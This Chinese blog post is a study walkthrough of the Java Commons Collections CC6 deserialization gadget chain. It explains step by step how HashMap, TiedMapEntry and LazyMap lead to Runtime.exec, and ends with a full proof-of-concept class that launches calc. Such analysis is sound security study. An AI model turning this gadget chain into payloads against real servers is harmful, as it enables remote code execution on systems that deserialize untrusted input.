java cc链6

java cc链6
其实这条链是利用了LazyMap.get方法,在之前的cc链lazymap中已经提过就是

Transformer[] transformers = new Transformer[]{

            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                    new Class[]{String.class, Class[].class},
                    new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke",
                    new Class[]{Object.class, Object[].class},
                    new Object[]{null, null}),
            new InvokerTransformer("exec",
                    new Class[]{String.class},
                    new String[]{"calc"}),
    };
    ChainedTransformer chainedTransformer= new ChainedTransformer(transformers);
    HashMap<Object,Object> map=new HashMap<>();
    Map<Object,Object> transformedmap= LazyMap.decorate(map,chainedTransformer);
    transformedmap.get("test");

接下来需要查找哪里调用了LazyMap.get方法,这里找到了TiedMapEntry.hashCode

transformedmap.get("test");

可以变化为

TiedMapEntry aaa = new TiedMapEntry(transformedmap, "aaa");
aaa.hashCode();

Hashmap类中,存在hash方法

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

调用了key.hashCode(),并且这里的key参数可控,而hash方法又在readObject方法中被调用

putVal(hash(key), key, value, false, false);

那么就可以修改为

        TiedMapEntry aaa = new TiedMapEntry(transformedmap, "aaa");
//        aaa.hashCode();
        HashMap map2 = new HashMap<>();
        map2.put(aaa,"TiedMapEntry");

执行到这里发现已经进行了命令执行,是因为Hashmap.put方法也调用了hash

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

所以进行了命令执行,可以将之前命令执行的链路断开,再通过反射的方式修改回去,这样在put的时候就不会触发命令执行,这里在

//修改前
Map<Object,Object> transformedmap= LazyMap.decorate(map,chainedTransformer);
//修改后
Map<Object,Object> transformedmap= LazyMap.decorate(map,new ConstantFactory(1));

进行修改
反射修改为正常的链路

Class c= LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(transformedmap,chainedTransformer);

反序列化无法正常执行命令执行
问题出现在LazyMap.get方法中,当Hashmap.put方法运行时,key被添加到map中,导致反序列化时候 map.containsKey(key)≠false,也就是说存在键值,没有进入if中,那么我们直接删除这个键值就可以了

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

所以最后的代码为

public class test04 {
    public static void serialize(Object object) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("person.bin"));
        oos.writeObject(object);
    }
    public static void unserialize(String filename) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{

                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, null}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new String[]{"calc"}),
        };
        ChainedTransformer chainedTransformer= new ChainedTransformer(transformers);
        HashMap<Object,Object> map=new HashMap<>();
//        Map<Object,Object> transformedmap= LazyMap.decorate(map,chainedTransformer);
        Map<Object,Object> transformedmap= LazyMap.decorate(map,new ConstantFactory(1));
//        transformedmap.get("test");
        TiedMapEntry aaa = new TiedMapEntry(transformedmap, "aaa");
//        aaa.hashCode();
        HashMap map2 = new HashMap<>();
        map2.put(aaa,"TiedMapEntry");
        transformedmap.remove("aaa");
        Class c= LazyMap.class;
        Field factory = c.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(transformedmap,chainedTransformer)
//        serialize(map2);
        unserialize("person.bin");

    }
}

并且适用的java版本范围更广

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值